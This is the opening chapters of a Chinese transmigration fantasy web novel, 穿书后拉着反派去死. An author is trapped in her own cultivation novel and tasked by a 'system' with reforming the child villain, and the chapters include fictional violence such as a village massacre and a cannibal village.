《穿书后拉着反派去死》
1. 穿书
“救命啊!”
耳边传来震耳欲聋的轰鸣声,还有撕心裂肺的惨叫声。
岁忆谙被声音吵醒,刚动弹一下,全身就传来酸痛感,她睁开双眼,发现自己脸朝下趴在地上,满嘴的尘土。
她仰起头,看见了冲天的火光,还有周围一道道狂奔的身影。
冰冷的机械声忽地响起。
【叮!欢迎宿主来到《月绕当空》,您的任务是拯救靳江浛,并将靳江浛抚养成善人。】
岁忆谙刚缓过神来,周围瞬间安静下来,她定睛一看,所有人的动作都停住了。
“时间暂停了?”
岁忆谙眼里满是新奇,她站起身来,仔细打量四周。
黑云漫天,闪电劈下,满地尸骸,互相厮杀的白与黑,惊恐悲伤的神情,鲜血混着眼泪飞溅在空中。
幸好这一切都被暂停。
《月绕当空》?
她这是………穿越了?低头看着熟悉的睡衣,看来是身穿。
岁忆谙是一名扑街的小说作者,而《月绕当空》是她所写的一本修仙小说,讲的是男女主携手维护世界和平的事。
就在岁忆谙回忆小说剧情时,周围的场景突然动了。
嘈杂的声音再度响起,岁忆谙顿感不妙,接着一把沾了血的大刀就挥了过来,她迅速躲开。
岁忆谙苟着身子逃跑,管他什么任务不任务的,当务之急是先找个安全的地方。
岁忆谙跟无头苍蝇般东奔西跑,奈何地上尸体太多,她一不留神就被尸体绊倒。
还没等她站起来,一个小男孩就飞到了她的怀里。
小男孩正哭得天崩地裂,嘴里还喊着爹娘。
岁忆谙顺着飞来的方向看去,一对夫妇双双被捅,她连忙捂住了小男孩的眼睛。
秉持着人道主义,岁忆谙带着小男孩逃离现场。
两人在林间穿梭,越跑越远,身后的仙门弟子紧追不舍,硬是追了岁忆谙二里地,她跑不动了,停住转身,喘着粗气道:“等一下!”
“我说兄台,你追我干什么?”
白衣弟子将剑直指岁忆谙,愤愤道:“你是魔,杀无赦!”
“你从哪只眼睛看出我魔了?!”
白衣弟子从上到下扫了一遍面前的女子,女子根骨普通,气息不稳,毫无灵力,是个凡人。
接着他又看了眼旁边的小孩,周身魔气压都压不住。
他说:“你确实不是魔,但那个孩子是魔。”
白衣弟子虽然一身正气,但他的眼里还流露着些许清澈,跑了二里地都追不上来,是人是魔都分不清,看来修为不高。
岁忆谙想将他给忽悠走。
岁忆谙低头看了眼小孩,小孩正用他那水汪汪的大眼睛盯着她,真让人心疼,她的圣母心瞬间爆棚,开始道德绑架。
“我这双凡眼看不出他是人是魔,他不过是一个小孩子,你何苦对一个小孩子痛下杀手呢?你的良心不会痛吗?”
弟子冷着脸,义正言辞:“斩妖除魔乃修仙之人职责所在,为了避免误伤于你,你还是赶紧离开吧。”
岁忆谙开始讲大道理:“修仙之人应该明辨是非,要斩恶妖,除恶魔,这个孩子还这么小,他能做什么事呢?”
这时,机械声响起。
【宿主大人,他就是反派靳江浛。】
岁忆谙心中一惊,顾不得机械声是从哪儿来的,急忙低头看去。
小孩有一双漆黑的眼珠子,仿佛黑洞一般想将她吸进去,她只是看了一眼就感到头晕目眩,连忙移开视线。
刚刚怎么回事?他的眼睛有问题?
岁忆谙处在疑惑阶段,那道机械声又响起来了。
【他刚刚用了魔族惑术,想蛊惑你救他。】
而小孩见惑术没用,慌忙低下头不再看她。
又不是狐狸,用什么惑术?
岁忆谙心想。
在原剧情里,靳江浛确实小小年纪就开始杀人。
岁忆谙的脑子飞速运转,接着惊呼一声,指着靳江浛道:“你竟然是魔!果然————知人知面不知心啊。”
岁忆谙将小孩,也就是靳江浛推到弟子身边。
“若没有什么其他的事,我就先走了,有缘再会。”
说罢,她毫不犹豫地转身离开,留下愣在原地的白衣弟子与靳江浛。
系统道:【宿主大人,您不救任务对象?】
【救他作甚,他又不会死,他既然能当反派,那肯定有过人之处的好吧。】
【再说了,我既不能文又不能武,什么都不会,你让我拿什么救?】
系统竟觉得岁忆谙这番话有道理,不过,不是宿主大人让他当反派的吗?
系统见任务对象被揪着领子,它慌慌张张道。
【宿主大人,只要您带上我,谁都伤不了您,我还可以让您学会法术,学会御剑飞行,还有瞬移!】
话落,一条蛇镯就出现在岁忆谙手腕上,零零零努力勾引着她,希望让她留下。
岁忆谙听后停下脚步,勾唇一笑:“这可是你说的。”
来到这修仙世界,她这凡人的身份可捞不到什么好处,更何况她的任务对象还是一个魔族大反派,再说了,她又怎能与那修仙弟子正面杠上。
岁忆谙转身往回走,顺势从地上捡了一根粗木枝。
系统这才反应过来,它好像被宿主大人坑了。
此刻,弟子正想要对靳江浛下手,岁忆谙放轻脚步走近,扬手就是一棍子。
砰!
毫无察觉的白衣弟子昏倒在地,靳江浛则跌坐在地上,诧异地问她:“你怎么回来了?”
“这还不明显,自然是回来救你,赶紧走吧。”岁忆谙丢掉粗木枝,拍掉手上的木屑,拉起靳江浛就走。
“我们去哪儿?”
“人间。”
两人来到人间,寻了处偏僻的村子住下。
岁忆谙得知了系统的代号,叫零零零。
靳江浛是书中反派。
百年前,魔族全族被灭,他是世上最后一个魔种,为了复仇,他潜入各个宗门,找寻时机下手。
百年内,他独自一人将近灭了数十个宗门。
最后的结局是男女主成功杀死靳江浛,维护了世界和平。
靳江浛自我意识觉醒,他得知自己只是书中的一个角色,不满意自己的结局,便利用剧情漏洞杀了男女主。
系统总部紧急扭转时空,抹去了靳江浛的记忆。
为了让男女主顺利拯救世界,岁忆谙的任务就是从小陪伴在靳江浛身边
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,教导他成为一个大善人。
在村子里,岁忆谙时常给靳江浛讲大道理,可靳江浛总是左耳进右耳出。
岁忆谙坐在院子里的藤椅上啃着苹果,而靳江浛拿根树枝在一旁练剑。
【靳江浛是反派,系统总部都扭转时空还抹去他觉醒的记忆了,怎么还让我来完成任务?】
零零零给出的解释是,系统总部力量有限,靳江浛后期依旧会意识觉醒。
只有岁忆谙完成了这个任务,这样即使他觉醒了也不会杀死男女主。
岁忆谙只觉得荒谬,不过系统说,完成任务后,她就能拥有一亿人民币。
看在钱的面子上,她就勉为其难地接下这个任务吧。
时间一晃而过,岁忆谙也在零零零的帮助下开始修炼。
只是靳江浛时不时就会用惑术来蛊惑她,也不知晓他想干什么,最后都被零零零挡了回去,而靳江浛也会挨她一顿打。
就在她以为自己与靳江浛会一直村子里住下去时,意外发生了。
某天,岁忆谙正悠闲地坐在院中摇椅上晒太阳时,零零零突然出声。
【叮!请宿主即刻前往月蛇洲。】
月蛇洲?
那是月蛇妖所住之地,去那儿做什么?
岁忆谙猛地坐直身子,回想着自己写的剧情。
魔族有一圣物,名为鬼石,鬼石蕴含着巨大魔力,吸收此石魔力之人,具有毁天灭地之力。
众仙门屠戮魔族还有一个原因,就是为了得到这鬼石,月蛇妖世世代代都奉魔族为主,魔族早将这鬼石交于月蛇妖族保管。
岁忆谙用了一张瞬移符来到月蛇洲,此刻月蛇洲聚集了许多修仙门派。
在原本的剧情里,众仙门来月蛇洲讨要鬼石,月蛇族长想转移鬼石时,却发现鬼石消失不见,那是因为在这之前,靳江浛已经将鬼石盗出。
所以她现在要做什么?来到这里就行了?
岁忆谙问:“零零零,我来这儿做什么?”
【当然是阻止靳江浛杀人。】
岁忆谙记得这段剧情里靳江浛没杀人啊。
不对,靳江浛吸收了鬼石上蕴含的魔力,多余的魔力四散,扰乱了众人心智,导致这场交战双方伤亡惨重,没几个人活了下来。
看来她只需要找到靳江浛,然后阻止魔力四散即可。
没一会儿,岁忆谙就在月蛇洲边界找到了人。
鬼石被一个琉璃盒装着,琉璃盒上雕刻着特殊花纹,这些花纹可以抑制魔力渗出。
但琉璃盒并没有封印,这是因为没人能承受鬼石上的魔力,鬼石脱离盒子必定死人。
所以谁都不敢擅自开启盒子。
“姐姐,你怎么来了?”
靳江浛在见到岁忆谙后十分慌张,他下意识将琉璃盒藏在身后。
岁忆谙不知晓现在应该说些什么,她只是朝靳江浛伸出手。
靳江浛懂她的意思,不情不愿地将琉璃盒拿出,眼珠子一转,手一松,盒子摔落在地。
一颗成人拳头大的石头滚落在地。
岁忆谙目瞪口呆地看着装作无辜样子的靳江浛,她手痒了,想揍人。
靳江浛一定是故意的!
鬼石在落地的那一瞬间,里面所蕴含的魔力倾巢而出。
2. 任务失败
岁忆谙有零零零护身。
可靳江浛没有,这也正合靳江浛所意,他要复仇,想复仇就必须变强。
他要吸收鬼石的魔力变强。
倘若他能顺利将魔力化为己有,那复仇就指日可待。
倘若他吸收不了魔力,那只能死,不过,这唯一的好处便是能与姐姐一起死。
岁忆谙的周身出现屏障,它将魔力屏蔽在外。
靳江浛则诧异地看着安然无恙的岁忆谙,魔力侵入靳江浛体内,将他笼罩,他只觉得痛,浑身都痛。
黑色的纹路像爬山虎般蔓延靳江浛全身,他四肢无力地瘫倒在地,眼睛里的眼白因吸收了魔力而消失。
岁忆谙依旧能感受到靳江浛的视线,她淡漠地看着靳江浛的惨状,叹了口气。
她知晓靳江浛会顺利吸收魔力,所以她并不慌,现在她需要将魔力控制住,防止其他人被魔力控制。
正在交战的仙门与月蛇妖族并未注意到这里的动静,他们每个人都杀得眼红,这一切岁忆谙并不知晓。
许久,黑气散去。
靳江浛的眼睛恢复正常,他安然无恙地站起身。
闭上眼,靳江浛感到了无穷的力量在体内翻涌。
耳朵传来刺痛。
“痛痛痛!”靳江浛惨叫出声。
岁忆谙揪着靳江浛的一只耳朵,气愤道:“胆儿肥了是吧,你是不是想拉着我陪你一起死啊!”
岁忆谙清楚靳江浛知晓打开琉璃盒后会发生什么。
靳江浛心真够狠,完全不顾她这个救命恩人的死活。
靳江浛连忙求饶:“姐姐,我错了,我错了!”
日子又恢复平淡,鬼石上的魔力虽然消失了,变成了一块普通的黑石头。
靳江浛将鬼石融成了一把剑,在成剑的那一刻,这剑似乎开了灵智,它不是很听靳江浛的话。
不过在岁忆谙手里倒是安分得很,她还会拿去劈柴。
日子一天天过去,直到修仙弟子找上门。
这天,岁忆谙刚从集市上回来,就发现靳江浛被四个身穿白衣的修仙弟子抓住了,她暗道不妙。
在原剧情中,靳江浛是有被抓住过一次。
那一次他杀了修仙弟子,为了防止暴露自己魔族的身份,还屠了村,看来剧情并未发生改变。
岁忆谙一拍脑袋,无语道:“真是悠闲日子过久了,什么都能忘。”
为了防止靳江浛杀人,自己只能去救他。
弟子连拖带拽地想将靳江浛拉走,靳江浛奋力挣扎,周围则是一群看热闹的村民。
邻家的几人认识靳江浛,想上前询问却被弟子吼了回去。
“青山宗奉命捉拿魔族,闲杂人等速速避让!”
青山宗?后面好像被靳江浛灭了。
“你们干什么?!”气愤的声音从人群外响起。
岁忆谙背上还背着竹篮,她撸起衣袖,拨开村民,气势汹汹地冲了上去,想将靳江浛拉到自己身边,却被弟子拦住。
为首的白衣弟子问:“你是谁?”
“我是他姐姐,你们绑我弟弟作甚?!”
靳江浛一直在忍耐,他还不想动手杀人,因为岁忆谙要回来了。
一见到岁忆谙,他立马嚎啕大哭:“姐姐救我!”
白衣弟子又问:“既然如此,你可知他是魔族?”
岁忆谙的语气坚定有力:“我弟弟不是魔族,你说你是青山宗的,但你行事粗鲁,半点仙风道骨的样子都没有,难不成你是人牙子假扮的?!”
此话一出,众人皆愣,接着纷纷议论,弟子没料到有人会质疑他们,个个气得脸红脑胀。
“你………你休要以貌取人!”
几个弟子不愿过多纠缠,想直接利用术法带靳江浛离开,默念咒法后,却发现自己还站在原地。
村民们就看着弟子们转个圈,跺跺脚,不太理解他们在干什么。
这一切都在按照岁忆谙的计划发展,她早就用了张让他们使不出发法力的符箓。
“你说你们是青山宗,据我所知,青山宗是修仙门派,你们会术法吗?”
要是在往常,他们肯定会引以为傲,但今日不知为何,他们的术法使不出来了。
见他们沉默,岁忆谙趁机将靳江浛拉回来,她蹲下身抱着靳江浛哀嚎,脸颊上滑过两行清泪,哭得梨花带雨。
“乡亲们都看到了吧,他们不会术法,就是人牙子!就是来村里拐卖孩子的!”
“我一个弱女子要养家糊口,可怜家中无父无母,这才让这群人牙子有了可乘之机,他们趁我不在家,就想将我幼弟绑走啊!”
靳江浛也十分配合地哭喊着。
这一幕落在村民眼中,就是一
村民被哭声感染,个个激愤,也不知道是谁喊了一句:“抓住人牙子!”
村民一拥而上,几人一边辩解,一边挨拳头。
岁忆谙叹了口气,暗想着对不住了,若是不想死,就只能挨几下打。
村子又恢复平淡,可就在当天夜里,她发现靳江浛不睡觉,而是溜出了家门。
月黑风高杀人夜。
今夜的风格外凉,空中的星月照亮了整座村子。
岁忆谙用了一张隐身符,偷偷跟在后头。
一直跟到村外头,她发现靳江浛抓了白日的那四个弟子,弟子伤痕累累。
空中还弥漫着一股甜腻的气味,是蜂蜜!
靳江浛站在原地,看着被蜂蜜吸引过来的蚂蚁。
没过一会儿,那几人身上爬满了密密麻麻的蚂蚁,他们哀嚎,求饶。
展现出的痛苦模样令靳江浛心中无比畅快,他认为这些声音十分美妙,他也十分享受。
靳江浛的举动在岁忆谙的意料之中,倘若反派能被轻易改变,那他就不是反派了。
靳江浛手中的剑不可察觉地抖了一下,他身子一僵,转身离开。
岁忆谙正愁用什么法子将人救下时,靳江浛就走了。
天助她也。
岁忆谙又等了一会儿,确认靳江浛不会返回后,才上前准备将四人救下。
而还未离去的靳江浛看见了地上的枯叶被碾碎,可那处无人。
圆溜溜的眼睛里闪过一丝与年龄不符的阴狠,靳江浛眯着眼,握紧手中的剑。
岁忆谙正要解开靳江浛对四人下的禁制时,利风传来,她闪身避过。
“谁?”
岁忆谙站定后,只见靳江浛注视着她所处的位置,她低头瞧了瞧,隐身效果还在。
靳江浛见来人没有开口,他不屑道:“既想要救人,为何不敢露出真面目
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岁忆谙并未理会,这隐身符的效果只有半个时辰,失效时间就快到了,倘若靳江浛一直站在这里,那她还怎么救人。
想到这儿,岁忆谙索性将隐身符撕了下来。
原本空无一人的地方显现出了岁忆谙的身影。
“姐姐?!”
靳江浛瞪大了眼,他垂下手臂,不安地站在原地,一副坏孩子罚站的模样。
岁忆谙正瞪着他,眼中的神情仿佛在说她很失望。
靳江浛不愿对上岁忆谙的眼神,他不等岁忆谙说话就转身跑掉。
岁忆谙没理会跑掉的靳江浛。
救下四人后,岁忆谙慢悠悠地走在回村的道上,她在思考该如何让靳江浛踏上正道。
边上的桃树吸引了她的注意,她刚折下一枝,系统的警报声传来。
【警告!警告!】
【宿主岁忆谙任务失败!】
岁忆谙一脸懵,接着又听见了零零零的声音。
【宿主大人,不好了,出大事了!】
天色蒙蒙亮,春风和睦,桃花艳丽。
岁忆谙赶回村子之后,面前的场景令她惊心骇目。
原本祥和的村子此刻火光冲天,整齐排列的茅草屋沦为残垣断壁。
以往这个时辰,家家户户本该升起的是冒着香气的缕缕炊烟,可如今升起的却是呛人的黑烟。
一张张熟悉的面孔此刻毫无生机地躺在地上,这场景让岁忆谙回到了一年前,仙门屠戮魔族的时候。
一个小小的身影站立在废墟之中,他手持长剑,周身魔气涌现。
“靳江浛。”
岁忆谙想朝他走近,却被零零零制止:【宿主大人先不要过去,他失控了。】
“这到底是怎么回事?”
【他控制不住自己,屠了村。】
零零零没有说实话,靳江浛并没有失控,他只是以为岁忆谙离开,杀了全村人泄愤而已。
靳江浛先一步回到村子,他害怕极了。
岁忆谙见到了他所做的一切,报复,伤害甚至是杀人。
白日之事发生后,他的内心便惶恐不安,不知是不是自己的错觉,村里人看他的眼神没有从前友善。
他就应该杀了所有人!
“靳江浛!”
声音宛如清澈的流水流入靳江浛的耳畔,将丧失理智的他拉了回来,猩红的双眼逐渐恢复正常。
靳江浛浑身僵硬,手中的剑掉落在地。
姐姐回来了。
只是一秒,靳江浛的脸上就露出了害怕的神情,他转过身,跌跌撞撞地朝岁忆谙走去,声音颤抖。
“姐姐,我………我杀了他们,怎么办?”
还被姐姐看到了,怎么办?
岁忆谙不自觉红了眼,她一直在尝试说服自己,靳江浛是反派,杀人是他设定里的一部分,她阻止不了。
可这次他杀的不是仇人,也不是恶人,而是与他相处了一年的无辜之人,更是亲人。
春风拂过,它将血腥气吹向岁忆谙,试图在提醒她这就是事实。
机械声传来:【叮!宿主岁忆谙任务失败,倒计时五分钟。】
岁忆谙愣住:【什么五分钟?】
【您还有五分钟就要死了。】
【什么?!】
3. 为我陪葬
【当初你也没说任务失败的判定条件是什么,你有没有办法挽救?】
岁忆谙因靳江浛伤人而产生的伤感顿时消失得一干二净。
回应岁忆谙的只有零零零的哭声.
【呜呜呜没有,任务失败了怎么办啊?!我要被抹杀了…………】
岁忆谙不知该说些什么,她都没哭,零零零倒是先哭上了,她耐心安慰。
【别哭了,我也要被抹杀了,到了阴曹地府,你再做我的系统吧。】
零零零依旧嚎啕大哭着。
看着越走越近的小小身影,岁忆谙浅棕色的眸子暗了暗,她摩挲指尖,甩出一张符箓。
零零零认出了黄色符纸上面画着的符纹,是除魔符。
除魔符冒着金光如同利刃般朝靳江浛冲去。
靳江浛本能地躲开,可还是被灼伤了手臂,他震惊地看向岁忆谙,从未想过岁忆谙会对他出手。
见靳江浛没事,零零零松了口气,还好岁忆谙手法生疏,画出来的符箓威力不大,它不解地问:【宿主大人,您这是做什么?】
岁忆谙深呼吸,语气轻松:【当然是杀了他,为我陪葬。】
零零零惊呆了,看岁忆谙严肃的样子不像是再说假话,它急忙劝说。
【虽然他能活到几百岁,但是他现在才六岁!您难道要对一个六岁的孩子下手吗?】
【我都要死了,还管他活多久!】
岁忆谙想清楚了,任何剧情都会发生改变,但靳江浛的设定永远都不会变。
他就是反派,拯救不了的反派。
任务对象是靳江浛,或许杀了靳江浛自己还有一线生机,只能赌这一次。
成功,便是活。
失败,便是死。
就算失败了,黄泉路上起码还有靳江浛相伴。
【倒计时仅剩两分钟。】
靳江浛走到岁忆谙面前,眼底满是难以置信,他颤抖地问:“姐姐,你想杀我?”
岁忆谙没说话,算是默认了,她凝望着靳江浛,似乎是在等他说完遗言。
靳江浛双眼通红,他紧咬下唇,泪眼汪汪,委屈道:“姐姐,为了这些人,你就要杀了我吗?”
岁忆谙动了,她将自己从后山折的桃花枝塞到靳江浛手里。
桃花粉白,花瓣上还滴着露水,充满生机的花与此时的场景格格不入,可花被折了也是要死的。
靳江浛惊讶道:“送我的?”
见岁忆谙点头,他心中怒火瞬间消失,扬起人畜无害的微笑,说:“姐姐真好。”
即使他杀了人,还愿意送他桃花枝,姐姐是世上最好的人了。
靳江浛手一动,那把剑就被他吸到手里,他递给了岁忆谙,随后仰起脸看她。
“姐姐动手吧。”
【倒计时仅剩十秒,十,九,八…………】系统的播报声犹如催命符。
两人对视,靳江浛试图从岁忆谙眼里看到不舍,可她眼里一丝的情绪都没有。
【三…………】
时间停止在这一刻,他听见挥剑破空的声音,却没有感到被刺的疼痛感,眼前也没有姐姐。
“消失了?”
【二…………】
偌大的村子只剩靳江浛一人,掉落在地的长剑以及那枝桃花。
一百年后,洛河村。
【传送成功!】
零零零跳到嗓子眼的心终于沉了下来,当岁忆谙毫不犹豫挥剑刺向靳江浛时,它连忙开启传送通道,赶在最后一刻传送成功。
要是岁忆谙真的杀死了靳江浛的话,这个世界怕是要彻底崩塌了,连主系统也挽救不会来的崩塌。
血腥味侵入岁忆谙的鼻腔,她下意识捂着鼻子,周围环境陌生,靳江浛算是杀不了了,但她赌对了。
岁忆谙装作恼怒道:【零零零,你这是做什么?】
【宿主大人,倘若您杀死了靳江浛,您就回不去了。】
虽然您不杀也不一定能回去。
岁忆谙是这个世界的书写者,她的任何一个抉择,都会百分百改变剧情的发展,所以零零零不能让她杀靳江浛,只能将她送到剧情开始的时候。
不过就在百年里,靳江浛竟然再次意识觉醒,它不得不去找他。
【宿主大人,由于您的举动,原本的剧情已经崩得不能在崩了,而且您不用做任务了。】
零零零的语气有些埋怨,岁忆谙懒得搭理,注意力被它的最后一句吸引。
“我不用做任务了?”
零零零这才反应到它说漏了嘴,它慌忙改口:【不用做以前的那个任务了…………任务改了。】
【新的任务就是跟着主角直到大结局,在这期间,不存在任务失败一说,零零零会保护好宿主大人的。】
有了靳江浛,宿主大人就死不了了,也不能死,为了保证剧情顺利发展,零零零还加了一条:【还有靳江浛不能死!】
岁忆谙算是接受了这个任务,她又问:“对了,靳江浛这次觉醒了没?”
【没有……】
岁忆谙点头,要是靳江浛没有觉醒,那就不会见到他了。
零零零见状松了口气,以为宿主大人信了,可却没瞧见她眼底的幽深。
“咯吱………咯吱………”
咀嚼声传来,岁忆谙这才看清周围。
破旧的茅草屋内,角落里结满了蜘蛛网,墙皮脱落,露出了里面的一块块砖石。
顺着声音来源看去,她先是看见了一个头发枯燥的女子,女子身下是一大片红色。
眨眼之间,女子来到了岁忆谙跟前,她举着一个红色的东西说:“你醒啦!给你吃!”
“不了不了,你自己吃吧。”岁忆谙看都没看一眼,直接拒绝。
女子听后乖乖缩在一边继续吃着。
岁忆谙起身朝外走去,她写过一处食人村,应该就是这里了。
要是自己刚才见到了那副食人肉的场景,怕是隔夜饭都要吐出来了。
主角的第一站就是洛河村,净化洛河村,让村落和村民都恢复正常。
从刚才那女子的情况来看,主角应该还没到洛河村,现在她只要在村里等着就行。
岁忆谙不想在满是腥气的屋子里等,她刚走到门口,一道黑影朝她冲来,速度之快,她来不及躲避,下意识抬手。
手腕上的黑王蛇发出耀眼的光芒,一层的透明屏障将岁忆谙罩住。
砰!
那道黑影被弹开,黑影连翻了几个跟头稳稳落地。
岁忆谙看去,是一个四肢细长,头发只有几根,满脸脓疮,瘦成皮包骨的人。
不………不能称之为人,而是酷似人型的怪物。
怪物闭上眼睛,用鼻子嗅了嗅,接着睁开眼贪婪地看向岁忆谙,开口说:“好香的肉,肯定好吃。”
怪物四肢着地,身体扭曲,以一种极其诡异的姿势朝岁忆谙爬来。
岁忆谙丝毫不慌,正好可以看看她符修炼得如何。
“天火!”
符箓飞出,在沾上怪物的一瞬间,岁忆谙又道:“燃!”<
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符箓应声燃起,怪物全身被焰火包裹,发出凄厉的惨叫声,随之而来的是一股烧焦的肉味,这股味道难以言喻。
“成功了!”
岁忆谙喜出望外,还没高兴多久,怪物竟顶着大火再次朝她冲来,速度之快,纵使她迅速躲开,胳膊上还是被划伤了,衣袖被抓出三道抓痕,隐隐有鲜血流出。
这一幕怎么如此熟悉,刚才靳江浛的手臂不就被她用除魔符伤到了吗?
岁忆谙不在多想,她害怕被魔气染上,忍痛贴了张净灵符。
符箓一贴上,阵阵黑气冒出,本是黄色的符纸慢慢发黑。
还没等她缓过来,四周又落下好几个黑影,都是人不人鬼不鬼的怪物,想要突出重围,怕是有些难度。
岁忆谙心中一惊,她被包围了,周围的怪物们虎视眈眈,随时都有可能扑上来将她撕碎。
她绷紧神经,不敢有一丝懈怠,可她没画那么多符留在身上。。
要是他们一拥而上怎么办?自己只会远程攻击啊。
零零零十分害怕:【宿主大人,好多怪物,好可怕呀。】
“废话,我看得见。”
零零零慌张道:【那我们该怎么办?】
零零零总是喜欢在关键时刻说些废话。
“这不是还有你吗?三十六计,走为上计,你将我传送走不就好了,再不济,你就变大把他们吞了。”
【哈哈,宿主大人真会说笑…………】
零零零觉得尴尬,只当岁忆谙在说笑话,但见她那坚毅的眼神,零零零闭上了嘴。
生怕宿主大人真让它变大吞了那些恶心的东西。
能跑的路都有怪物拦着,她背后便是紧闭的院门,看来只能进屋了。
岁忆谙瞥了眼胳膊上的净灵符,见符彻底变黑,她便随意丢弃在地上,紧接着又一张符被她甩了出来。
“啊!”
符箓发出耀眼的白光,刺到了怪物们的眼睛,他们纷纷捂起双眼,岁忆谙乘机冲进房内。
门被关上的那一瞬间,所有怪物蜂拥而上,还好她迅速地往门上贴了符,怪物一时半会儿还进不来。
撞门声响彻在寂静昏暗的空间,一下又一下,要是没有那张符纸,破烂的木门怕是早就被撞成粉末了。
“零零零,你能不能把我送走?”
岁忆谙担心这符撑不住,她画的符有几斤几两,她自己还是清楚的,刚才那一战就用掉了四张符,她何时这么奢侈过。
【宿主大人,传送通道每日只能开一次,刚才用过了…………】
零零零语气心虚,这话是骗岁忆谙的,不过不用担心,因为很快就会有人来救她了。
【宿主大人别担心,您肯定是死不了的。】
岁忆谙无言以对,她靠墙坐下,开始画符。
顺利画完一张符后,木门猛地被破开。
岁忆谙被洒进来的阳光刺到了眼,她眯起眼,下意识甩出手中的符箓,没有反应,接着就听见了一道男声。
“师弟,你能不能控制好你的佩剑,万一误伤人了怎么办?”
说的虽是埋怨话,语气却十分温柔。
师弟?
“岁岁有灵,我也管不住它。”
岁忆谙睁开眼,没见着怪物,倒是看到了一把冒着寒气的黑石长剑。,
那长剑刺入进她身后的墙壁里,剑刃离她的脸仅仅只有一拳的距离。
她清楚地看到了剑柄上刻着的谙字。
好熟悉的长剑,这剑不会是他的吧?!
4. 意识觉醒
哒哒哒的脚步声传来,她将朱砂笔收进衣袖,掐了把自己的大腿,挤出眼泪来扮可怜,在不清楚对方是敌是友前,她还是先装弱吧。
岁忆谙捂着脑袋蜷缩起来,没一会儿,余光瞥见一只修长的手将黑石长剑拔了出来。
淡淡的桃花香扑鼻而来,甜而不腻,闻着格外清爽。
岁忆谙抬头看去,是一个身着墨绿衣袍的男子,男子的发丝被一根桃花木簪高高挽起,身姿挺拔,面容冷峻,不似寻常的清冷修仙弟子。
他是这把长剑的主人?那黑石长剑不是靳江浛的吗?半日前,她还在用这把剑劈柴,还有那个谙字。
面前这人是靳江浛?还当了修仙弟子?
百年前,这把黑石长剑就不听靳江浛的话,成日跟着岁忆谙混,自从岁忆谙消失后,靳江浛就给它取名为岁岁,还在剑柄上刻了个谙字。
百年了,岁岁变得沉稳许多,从未有过失控的时候,今日却脱离了他的掌控,真是奇怪。
当靳江浛看见岁忆谙时,收剑的动作猛然一顿,瞳孔骤缩,双手微微发颤。
原本被时间侵蚀的记忆逐渐复原,模糊的容颜在此刻变得清晰,面前女子的容貌与儿时记忆里的一模一样。
印象中那精致的鹅蛋脸,此刻由于惊吓而变得苍白,还脏兮兮的,红润的嘴唇轻颤,浅棕色的眸子里泛着若有似无的泪光,显得楚楚可怜。
靳江浛算是知晓岁岁为何会冲进来了,未想先寻到她的竟是岁岁,她应该能通过岁岁认出自己吧。
女子的穿着还是消失前的衣裙,是红色火光当中,在他脑海里始终挥之不去的那一抹苔绿色。
衣服都穿了百年,这百年里,她过得应该很不好吧。
紧接着一黑衣女子走进屋内,女子身姿曼妙,温婉可人,眼中流露出的愁绪使她气质忧郁,全身上下最显眼的,莫过于垂于墨发之间的两条白色缎带。
岁忆谙一眼便认出她是自己笔下的女主———黎绕月。
黎绕月是月蛇妖族族长之女,当年仙门与月蛇妖族交战,族长临死前让黎绕月找回圣物鬼石,这百年间,黎绕月一直在寻找魔族圣物,包括复仇。
黎绕月对所有仙门都深恶痛绝,在寻找圣物途中撞见落单男主,想杀他却因他有护身法器近不了身,被法器所伤。
而男主白英空心地善良,他不识月蛇妖,只当黎绕月是只普通的小蛇妖,便将她带在身边作伴。
与岁忆谙对上视线的那一瞬间,黎绕月似乎听不见周围的任何声音,脑海中忘掉了所有不好的事,她的眼睛如流淌的水般,干净透明。
看着角落的女子,黎绕月只感到熟悉又陌生,想是上辈子见过吧,这个荒唐的想法真是惹人发笑,她掩盖眼中不耐,在陌生人面前,她可是一个拥有善心的无家可怜蛇妖,起码现在还得装一装。
黎绕月来到岁忆谙面前,轻声询问:“姑娘,你没事吧。”
“没事…………”岁忆谙眼泪十分配合地流了下来,装作一副柔弱的模样。
黎绕月拿了张帕子给她,又问:“你是被他们捉来的吗?”
岁忆谙接过帕子擦泪,并点头。
而靳江浛站定在两人身后,抱着剑靠在门框上,不知在低头思索着什么。
这时,又一男子走进屋子,男子举止优雅,站得板正,可眼神澄澈无比,他就是世上最单纯的男主白英空。
百年前,众仙门为了夺取鬼石,将魔族杀了个干干净净,按理说,世上不会再有魔族出现,可就在这百年里,诸多宗门被屠,三大修仙门派的宗主们猜测有人吸收了鬼石上的魔力,魔得以重现世间。
那几位宗主可是百年前仙门与月蛇妖族交战后活下来的,现如今,他们依旧对鬼石念念不忘。
众仙门决定派遣弟子寻找魔族,实际上是让他们寻找鬼石,白英空则是其中一员,他是凌仙宗大弟子,心怀大义,誓死守护人间和平,遇见黎绕月后,便与她一同维护人间。
白英空在得知黎绕月真实身份后,劝说她放下仇恨,黎绕月被他的赤诚之心感动,毅然决然地选择放下仇恨,再得知仙门与月蛇妖族交战是因为魔力所控后,便与仙门一同杀死了反派,最后两人携手同游天下。
岁忆谙已经制止了鬼石上的魔力,黎绕月应该不会杀死靳江浛了,那剧情该怎么走?
到大结局还有好久,虽说众仙门看重鬼石,可这魔族也挺令他们厌恶的,要不她现在就揭发靳江浛魔族的身份,再让仙门将靳江浛杀死,这样故事就能提前结束,而自己也很快就可以回家了。
这个法子,岁忆谙越想越觉得可行。
【宿主大人,靳江浛不能死啊!!!!】零零零紧急预警。
岁忆谙觉得自己被读心了,她压下心头思绪,面色如常,心中不好意思道:【忘了忘了。】
靳江浛不死,那什么样的结局才算结局?真是个坑。
黎绕月将岁忆谙扶起来,说:“姑娘,你家在哪里?我们送你回去吧。”
最好拒绝,这样自己就不用耗费心神在她身上了,黎绕月心想。
作为作者,岁忆谙十分清楚此时的黎绕月在想什么,无非就是祈愿自己不要缠上他们,可她没办法,剧情还得走,任务还得做。
跟着他们的目的不能太明显,一上来就说想跟着他们的话,白英空绝对会同意,可黎绕月不会,她的警惕性可比白英空高多了,她记得她在原剧情里写过几个被靳江浛灭掉的宗门,都叫什么来着?
眨眼之间,岁忆谙已经编好谎言,她边哭边说:“我…………我原是南淮宫的外门弟子,南淮宫被灭当日,我碰巧回家探亲逃过一劫…………我无处可去,便四处游荡,因为修为低下,被他们捉住呜…………”
黎绕月眼底闪过一抹杀意,又是一个修仙弟子。
岁忆谙会符,她只能为自己捏造一个修仙弟子的身份,虽然黎绕月痛恨仙门,可起码现在的黎绕月表面上是站在仙门这一边的。
兴许是经历相同,黎绕月并未怀疑,难怪自己对她会有一种似曾相识的感觉,都是没了归宿的人。
